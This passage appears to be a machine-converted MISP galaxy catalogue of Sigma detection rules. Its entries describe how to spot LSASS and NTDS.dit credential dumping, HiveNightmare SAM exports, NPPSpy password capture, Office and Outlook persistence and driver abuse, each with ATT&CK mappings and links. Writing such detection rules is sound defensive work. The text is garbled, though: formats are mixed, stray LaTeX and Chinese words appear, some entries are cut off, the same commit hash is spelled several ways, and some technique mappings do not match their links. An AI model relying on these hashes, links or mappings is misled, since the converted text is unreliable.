- related-to: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"

Table 9233. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08">https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/child-processes/">https://redcanary.com/blog/child-processes/</a></td>
</tr>
</tbody>
</table>
Cmstp Making Network Connection

Detects suspicious network connection by Cmstp

The tag is: `misp-galaxy:sigma-rules="Cmstp Making Network Connection"`

View relationships graph

Cmstp Making Network Connection has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003"` with estimative-language:likelihood-probability="almost-certain"

Table 9234. Table References

Links


Equation Editor Network Connection

Detects network connections from Equation Editor

The tag is: `misp-galaxy:sigma-rules="Equation Editor Network Connection"`

View relationships graph

Equation Editor Network Connection has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"` with estimative-language:likelihood-probability="almost-certain"

Table 9235. Table References

Links

- https://twitter.com/forensicitguy/status/1513538712986079238
Suspicious Network Connection to IP Lookup Service APIs

Detects external IP address lookups by non-browser processes via services such as "api.ipify.org". This could be indicative of potential post compromise internet test activity.

The tag is: `misp-galaxy:sigma-rules="Suspicious Network Connection to IP Lookup Service APIs"`

View relationships graph

Suspicious Network Connection to IP Lookup Service APIs has relationships with:


Table 9236. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-302a">https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-302a</a></td>
</tr>
<tr>
<td><a href="https://github.com/rsp/scripts/blob/c8bb272d68164a9836e4f273d8f924927f39b8c6/externalip-benchmark.md">https://github.com/rsp/scripts/blob/c8bb272d68164a9836e4f273d8f924927f39b8c6/externalip-benchmark.md</a></td>
</tr>
</tbody>
</table>

Suspicious Dropbox API Usage

Detects an executable that isn't dropbox but communicates with the Dropbox API

The tag is: `misp-galaxy:sigma-rules="Suspicious Dropbox API Usage"`

View relationships graph

Suspicious Dropbox API Usage has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 9237. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/7e906adc-9d11-447f-8641-5f40375ecebb">https://app.any.run/tasks/7e906adc-9d11-447f-8641-5f40375ecebb</a></td>
</tr>
</tbody>
</table>
Communication To Mega.nz

Detects an executable accessing mega.co.nz, which could be a sign of forbidden file sharing use of data exfiltration by malicious actors

The tag is: `misp-galaxy:sigma-rules="Communication To Mega.nz"`

View relationships graph

Communication To Mega.nz has relationships with:

- `related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Code Repository - T1567.001" with estimative-language:likelihood-probability="almost-certain"`

Table 9238. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://megatools.megous.com/">https://megatools.megous.com/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/russian-targeting-gov-business">https://www.mandiant.com/resources/russian-targeting-gov-business</a></td>
</tr>
</tbody>
</table>

Msiexec Initiated Connection

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)

The tag is: `misp-galaxy:sigma-rules="Msiexec Initiated Connection"`

View relationships graph

Msiexec Initiated Connection has relationships with:

- `related-to: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"`

Table 9239. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd6cdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd6cdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md</a></td>
</tr>
</tbody>
</table>
Potential Privilege Escalation Attempt Via .Exe.Local Technique

Detects potential privilege escalation attempt via the creation of the "*.Exe.Local" folder inside the "System32" directory in order to sideload "comctl32.dll"

The tag is: `misp-galaxy:sigma-rules="Potential Privilege Escalation Attempt Via .Exe.Local Technique"`

Table 9240. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/sailay1996/awesome_windows_logical_bugs/blob/60cbb23a801f4c3195deac1cc46df27c225c3d07/dir_create2system.txt">https://github.com/sailay1996/awesome_windows_logical_bugs/blob/60cbb23a801f4c3195deac1cc46df27c225c3d07/dir_create2system.txt</a></td>
</tr>
<tr>
<td><a href="https://github.com/binderlabs/DirCreate2System">https://github.com/binderlabs/DirCreate2System</a></td>
</tr>
</tbody>
</table>

LSASS Process Memory Dump Files

Detects creation of files with names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials.

The tag is: `misp-galaxy:sigma-rules="LSASS Process Memory Dump Files"`

View relationships graph

LSASS Process Memory Dump Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 9241. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/">https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/</a></td>
</tr>
<tr>
<td><a href="https://github.com/helpsystems/nanodump">https://github.com/helpsystems/nanodump</a></td>
</tr>
<tr>
<td><a href="https://www.google.com/search?q=procdump+lsass">https://www.google.com/search?q=procdump+lsass</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf">https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf</a></td>
</tr>
<tr>
<td><a href="https://github.com/CCob/MirrorDump">https://github.com/CCob/MirrorDump</a></td>
</tr>
<tr>
<td><a href="https://github.com/elastic/detection-rules/blob/c76a39799792c76a39799792ed6f47f1a6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml">https://github.com/elastic/detection-rules/blob/c76a39799792c76a39799792ed6f47f1a6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml</a></td>
</tr>
</tbody>
</table>
VHD Image Download Via Browser

Detects creation of ".vhd"/.vhdx files by browser processes. Malware can use mountable Virtual Hard Disk ".vhd" files to encapsulate payloads and evade security controls.

The tag is: *misp-galaxy: sigma-rules=* "VHD Image Download Via Browser"

View relationships graph

VHD Image Download Via Browser has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

**Table 9242. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/intelligence-insights-october-2021/">https://redcanary.com/blog/intelligence-insights-october-2021/</a></td>
</tr>
<tr>
<td><a href="https://www.kaspersky.com/blog/lazarus-vhd-ransomware/36559/">https://www.kaspersky.com/blog/lazarus-vhd-ransomware/36559/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/">https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_vhd_download_via_browsers.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_vhd_download_via_browsers.yml</a></td>
</tr>
</tbody>
</table>

LiveKD Driver Creation By Uncommon Process

Detects the creation of the LiveKD driver by a process image other than "livekd.exe".

The tag is: *misp-galaxy: sigma-rules=* "LiveKD Driver Creation By Uncommon Process"

**Table 9243. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_livekd_driver_susp_creation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_livekd_driver_susp_creation.yml</a></td>
</tr>
</tbody>
</table>

NTDS.DIT Creation By Uncommon Process

Detects creation of a file named "ntds.dit" (Active Directory Database) by an uncommon process or a process located in a suspicious directory.

The tag is: *misp-galaxy: sigma-rules=* "NTDS.DIT Creation By Uncommon Process"

View relationships graph
NTDS.DIT Creation By Uncommon Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 9244. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=2398">https://adsecurity.org/?p=2398</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_uncommon_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_uncommon_process.yml</a></td>
</tr>
</tbody>
</table>

Typical HiveNightmare SAM File Export

Detects files written by the different tools that exploit HiveNightmare

The tag is: misp-galaxy:sigma-rules="Typical HiveNightmare SAM File Export"

View relationships graph

Typical HiveNightmare SAM File Export has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 9245. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/GossiTheDog/HiveNightmare">https://github.com/GossiTheDog/HiveNightmare</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/cube0x0/status/1418920190759378944">https://twitter.com/cube0x0/status/1418920190759378944</a></td>
</tr>
<tr>
<td><a href="https://github.com/WiredPulse/Invoke-HiveNightmare">https://github.com/WiredPulse/Invoke-HiveNightmare</a></td>
</tr>
<tr>
<td><a href="https://github.com/FireFart/hivenightmare/">https://github.com/FireFart/hivenightmare/</a></td>
</tr>
</tbody>
</table>

PowerShell Module File Created

Detects the creation of a new PowerShell module ".psm1", ".psd1", ".dll", ".ps1", etc.

The tag is: misp-galaxy:sigma-rules="PowerShell Module File Created"

Table 9246. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Suspicious Outlook Macro Created

Detects the creation of a macro file for Outlook.

The tag is: `misp-galaxy:sigma-rules="Suspicious Outlook Macro Created"`

View relationships graph

Suspicious Outlook Macro Created has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546"` with estimative-language:likelihood-probability="almost-certain"

Table 9247. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53">https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53</a></td>
</tr>
<tr>
<td><a href="https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b/">https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b/</a></td>
</tr>
<tr>
<td><a href="https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/">https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/</a></td>
</tr>
</tbody>
</table>

Suspicious LNK Double Extension File Created

Detects the creation of files with an "LNK" as a second extension. This is sometimes used by malware as a method to abuse the fact that Windows hides the "LNK" extension by default.

The tag is: `misp-galaxy:sigma-rules="Suspicious LNK Double Extension File Created"`

View relationships graph

Suspicious LNK Double Extension File Created has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007"` with estimative-language:likelihood-probability="almost-certain"
Table 9248. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/luc4m/status/1073181154126254080">https://twitter.com/luc4m/status/1073181154126254080</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles">https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1235135745611960321">https://twitter.com/malwrhunterteam/status/1235135745611960321</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_link_double_extension.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_link_double_extension.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Creation TXT File in User Desktop

Ransomware create txt file in the user Desktop

The tag is: `misp-galaxy:sigma-rules="Suspicious Creation TXT File in User Desktop"`

View relationships graph

Suspicious Creation TXT File in User Desktop has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"` with estimative-language:likelihood-probability="almost-certain"

Table 9249. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcd3742bfcf365fee2a9/atomics/T1486/T1486.md#atomic-test-5---purelocker-ransom-note">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcd3742bfcf365fee2a9/atomics/T1486/T1486.md#atomic-test-5---purelocker-ransom-note</a></td>
</tr>
</tbody>
</table>

NPPSpy Hacktool Usage

Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file

The tag is: `misp-galaxy:sigma-rules="NPPSpy Hacktool Usage"`

Table 9250. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/0gtweet/status/1465282548494487554">https://twitter.com/0gtweet/status/1465282548494487554</a></td>
</tr>
</tbody>
</table>
Creation of a Diagcab

Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (review the filename and its location)

The tag is: \texttt{misp-galaxy:sigma-rules=\textquote单引号Creation of a Diagcab}\textquote双引号

\textit{Table 9251. Table References}

\begin{tabular}{|l|}
\hline
\textbf{Links} \\
\hline
https://threadreaderapp.com/thread/1533879688141086720.html \\
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_diagcab.yml \\
\hline
\end{tabular}

DMP/HDMP File Creation

Detects the creation of a file with the ".dmp"/".hdmp" extension. Often created by software during a crash. Memory dumps can sometimes contain sensitive information such as credentials. It's best to determine the source of the crash.

The tag is: \texttt{misp-galaxy:sigma-rules=\textquote单引号DMP/HDMP File Creation}\textquote双引号

\textit{Table 9252. Table References}

\begin{tabular}{|l|}
\hline
\textbf{Links} \\
\hline
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dump_file_creation.yml \\
\hline
\end{tabular}

VsCode Powershell Profile Modification

Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence

The tag is: \texttt{misp-galaxy:sigma-rules=\textquote单引号VsCode Powershell Profile Modification}\textquote双引号

View relationships graph

VsCode Powershell Profile Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1546.013" with estimative-
**Suspicious PROCEXP152.sys File Created In TMP**

Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder. This driver is used by Sysinternals Process Explorer but also by KDU (https://github.com/hfiref0x/KDU) or Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU.

The tag is: *misp-galaxy:sigma-rules="Suspicious PROCEXP152.sys File Created In TMP"*

**View relationships graph**

Suspicious PROCEXP152.sys File Created In TMP has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"* with estimative-language:likelihood-probability="almost-certain"

**OneNote Attachment File Dropped In Suspicious Location**

Detects creation of files with the ".one"/.onepkg" extension in suspicious or uncommon locations. This could be a sign of attackers abusing OneNote attachments.

The tag is: *misp-galaxy:sigma-rules="OneNote Attachment File Dropped In Suspicious Location"*
Suspicous File Created Via OneNote Application

Detects suspicious files created via the OneNote application. This could indicate a potential malicious ".one"/.onepkg" file was executed as seen being used in malware activity in the wild.

The tag is: `misp-galaxy: sigma-rules= "Suspicious File Created Via OneNote Application"`

Table 9256. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/17f2d378-6d11-4d6f-8340-954b04f35e83/">https://app.any.run/tasks/17f2d378-6d11-4d6f-8340-954b04f35e83/</a></td>
</tr>
<tr>
<td><a href="https://labs.withsecure.com/publications/detecting-onenote-abuse">https://labs.withsecure.com/publications/detecting-onenote-abuse</a></td>
</tr>
<tr>
<td><a href="https://www.trustedsec.com/blog/new-attacks-old-tricks-how-onenote-malware-is-evolving/">https://www.trustedsec.com/blog/new-attacks-old-tricks-how-onenote-malware-is-evolving/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MaD_c4t/status/1623414582382567424">https://twitter.com/MaD_c4t/status/1623414582382567424</a></td>
</tr>
</tbody>
</table>

NTDS.DIT Creation By Uncommon Parent Process

Detects creation of a file named "ntds.dit" (Active Directory Database) by an uncommon parent process or directory.

The tag is: `misp-galaxy: sigma-rules= "NTDS.DIT Creation By Uncommon Parent Process"`

View relationships graph

NTDS.DIT Creation By Uncommon Parent Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 9257. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/">https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/</a></td>
</tr>
<tr>
<td><a href="https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration">https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration</a></td>
</tr>
<tr>
<td><a href="https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaee196d91ae447283e/Gather/Copy-VSS.ps1">https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaee196d91ae447283e/Gather/Copy-VSS.ps1</a></td>
</tr>
</tbody>
</table>
ADSI-Cache File Creation By Uncommon Tool

Detects the creation of an "Active Directory Schema Cache File" (.sch) file by an uncommon tool.

The tag is: misp-galaxy:sigma-rules="ADSI-Cache File Creation By Uncommon Tool"

View relationships graph

ADSI-Cache File Creation By Uncommon Tool has relationships with:


Table 9258. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/">https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/</a></td>
</tr>
<tr>
<td><a href="https://github.com/fox-it/LDAPFragger">https://github.com/fox-it/LDAPFragger</a></td>
</tr>
</tbody>
</table>

PSEXEC Remote Execution File Artefact

Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system.

The tag is: misp-galaxy:sigma-rules="PSEXEC Remote Execution File Artefact"

View relationships graph

PSEXEC Remote Execution File Artefact has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"

Table 9259. Table References
Suspicious File Creation In Uncommon AppData Folder

Detects the creation of suspicious files and folders inside the user’s AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs

The tag is: `misp-galaxy:sigma-rules="Suspicious File Creation In Uncommon AppData Folder"`

Table 9260. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
</tbody>
</table>

Suspicious Double Extension Files

Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that Windows hide default extensions by default.

The tag is: `misp-galaxy:sigma-rules="Suspicious Double Extension Files"`

View relationships graph

Suspicious Double Extension Files has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007"` with estimative-language:likelihood-probability="almost-certain"

Table 9261. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/luc4m/status/1073181154126254080">https://twitter.com/luc4m/status/1073181154126254080</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles">https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles</a></td>
</tr>
</tbody>
</table>
Suspicious Files in Default GPO Folder

Detects the creation of copy of suspicious files (EXE/DLL) to the default GPO storage folder

The tag is: misp-galaxy:sigma-rules="Suspicious Files in Default GPO Folder"

View relationships graph

Suspicious Files in Default GPO Folder has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

Table 9262. Table References

Links

- https://redcanary.com/blog/intelligence-insights-november-2021/

Process Explorer Driver Creation By Non-Sysinternals Binary

Detects creation of the Process Explorer drivers by processes other than Process Explorer (procexp) itself. Hack tools or malware may use the Process Explorer driver to elevate privileges, drops it to disk for a few moments, runs a service using that driver and removes it afterwards.

The tag is: misp-galaxy:sigma-rules="Process Explorer Driver Creation By Non-Sysinternals Binary"

View relationships graph

Process Explorer Driver Creation By Non-Sysinternals Binary has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 9263. Table References

Links

- https://github.com/Yaxser/Backstab
- https://www.elastic.co/security-labs/stopping-vulnerable-driver-attacks
Creation Exe for Service with Unquoted Path

Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

The tag is: misp-galaxy:sigma-rules="Creation Exe for Service with Unquoted Path"

View relationships graph

Creation Exe for Service with Unquoted Path has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

Table 9264. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fc6d3742bf365fee2a9/atomics/T1574.009/T1574.009.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fc6d3742bf365fee2a9/atomics/T1574.009/T1574.009.md</a></td>
</tr>
</tbody>
</table>

GoToAssist Temporary Installation Artefact

An adversary may use legitimate desktop support and remote access software, such as TeamViewer, Go2Assist, LogMeIn, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: misp-galaxy:sigma-rules="GoToAssist Temporary Installation Artefact"

View relationships graph

GoToAssist Temporary Installation Artefact has relationships with:

Potential Remote Credential Dumping Activity

Detects default filenames output from the execution of CrackMapExec and Impacket-secretsdump against an endpoint.

The tag is: `misp-galaxy:sigma-rules="Potential Remote Credential Dumping Activity"`

View relationships graph

Potential Remote Credential Dumping Activity has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003"` with estimative-language:likelihood-probability="almost-certain"

Windows Shell/Scripting Application File Write to Suspicious Folder

Detects Windows shells and scripting applications that write files to suspicious folders

The tag is: `misp-galaxy:sigma-rules="Windows Shell/Scripting Application File Write to Suspicious Folder"`

View relationships graph

Windows Shell/Scripting Application File Write to Suspicious Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with estimative-language:likelihood-probability="almost-certain"
WScript or CScript Dropper - File

Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe

The tag is: `misp-galaxy:sigma-rules="WScript or CScript Dropper - File"`

View relationships graph

WScript or CScript Dropper - File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Potential Persistence Via Microsoft Office Add-In

Detects potential persistence activity via startup add-ins that load when Microsoft Office starts (.wll/.xll are simply .dll fit for Word or Excel).

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via Microsoft Office Add-In"`

View relationships graph

Potential Persistence Via Microsoft Office Add-In has relationships with:

Remote Access Tool - ScreenConnect Temporary File

Detects the creation of files in a specific location by ScreenConnect RMM. ScreenConnect has feature to remotely execute binaries on a target machine. These binaries will be dropped to ":\{Users\}\{username\}\Documents\ConnectWiseControl\Temp\" before execution.

The tag is: *misp-galaxy:sigma-rules*="Remote Access Tool - ScreenConnect Temporary File"

View relationships graph

Remote Access Tool - ScreenConnect Temporary File has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003"* with estimative-language:likelihood-probability="almost-certain"

**Table 9270.** Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/pull/4467">https://github.com/SigmaHQ/sigma/pull/4467</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_remote_access_tools_screenconnect_remote_file.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_remote_access_tools_screenconnect_remote_file.yml</a></td>
</tr>
</tbody>
</table>

Legitimate Application Dropped Script

Detects programs on a Windows system that should not write scripts to disk

The tag is: *misp-galaxy:sigma-rules*="Legitimate Application Dropped Script"

View relationships graph

Legitimate Application Dropped Script has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"* with estimative-language:likelihood-probability="almost-certain"

**Table 9271.** Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326">https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326</a></td>
</tr>
</tbody>
</table>
Uncommon File Created In Office Startup Folder

Detects the creation of a file with an uncommon extension in an Office application startup folder

The tag is: `misp-galaxy:sigma-rules="Uncommon File Created In Office Startup Folder"`

View relationships graph

Uncommon File Created In Office Startup Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Malware - T1587.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9272. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://addbalance.com/word/startup.htm">http://addbalance.com/word/startup.htm</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://app.any.run/tasks/d6fe6624-6ef8-485d-aa75-3d1bdda2a08c/">https://app.any.run/tasks/d6fe6624-6ef8-485d-aa75-3d1bdda2a08c/</a></td>
<td></td>
</tr>
</tbody>
</table>

WinSxs Executable File Creation By Non-System Process

Detects the creation of binaries in the WinSxs folder by non-system processes

The tag is: `misp-galaxy:sigma-rules="WinSxs Executable File Creation By Non-System Process"`

Table 9273. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://media.defense.gov/2023/May/09/2003218554/1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF">https://media.defense.gov/2023/May/09/2003218554/1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_winsxs_binary_creation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_winsxs_binary_creation.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

Potentially Suspicious DMP/HDMP File Creation

